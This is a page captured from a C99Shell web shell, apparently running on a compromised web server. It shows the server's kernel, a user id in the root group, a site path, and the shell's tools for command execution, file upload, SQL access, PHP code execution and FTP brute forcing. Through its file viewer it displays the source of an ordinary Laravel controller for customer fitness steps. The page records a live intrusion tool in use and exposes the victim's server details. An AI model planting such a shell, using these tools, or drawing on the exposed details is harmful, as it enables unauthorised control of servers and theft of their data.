!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StepDetailsController.php (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Customer;
use 
App\Models\CustomerStep;
use 
App\Models\CustomerStepDetail;
use 
Illuminate\Http\Request;

class 
StepDetailsController extends Controller
{
    public function 
index(){
        return 
view('customer.step_details.index');
    }
    public function 
getAll(Request $request)
    {
        
$customer_steps CustomerStep::where('customer_id',auth()->user()->id)->orderByDesc('created_at')->get();
        return 
datatables()->of($customer_steps)

        
//     ->addColumn('profile', function (CustomerStep $q) {
        //      $img = asset('uploads/' . $q->image) ;
        //         $profile = '<a href="#"  class="customer-img-show" data-img="'.$img.'">
        //     <div class="profile-img-sec">
        //     <img src="' . $img . '" height="40" width="45">
        //     </div>
           
        //    </a>';

        //         return $profile;
        //     })
        
->addColumn('step', function (CustomerStep $q) {
            
$title ucfirst($q->plan->title);
            
$step 'Step For Plan : '$title;
            return 
$step;
        })
            
        ->
addColumn('created_at', function (CustomerStep $q) {
            return 
$q->created_at->format('d-m-Y');
        })




            ->
addColumn('action', function (CustomerStep $q) {
                return 
"<a class='btn btn-sm btn-info' href='" route('customer.steps.details', [$q->id]) . "'>Details</a>  &nbsp; &nbsp;";
            })
            ->
rawColumns(['action','step','profile'])
            ->
toJson();
    }
    public function 
step_details($id){
        
$customer_step CustomerStep::findOrFail($id);
        
$data['customer_step_details'] = CustomerStepDetail::where('customer_step_id'$customer_step->id)->get();
        
        
$customer Customer::findOrFail($customer_step->customer_id);

        
$data['current_plan'] = $customer->plan;

        return 
view('customer.step_details.details',$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--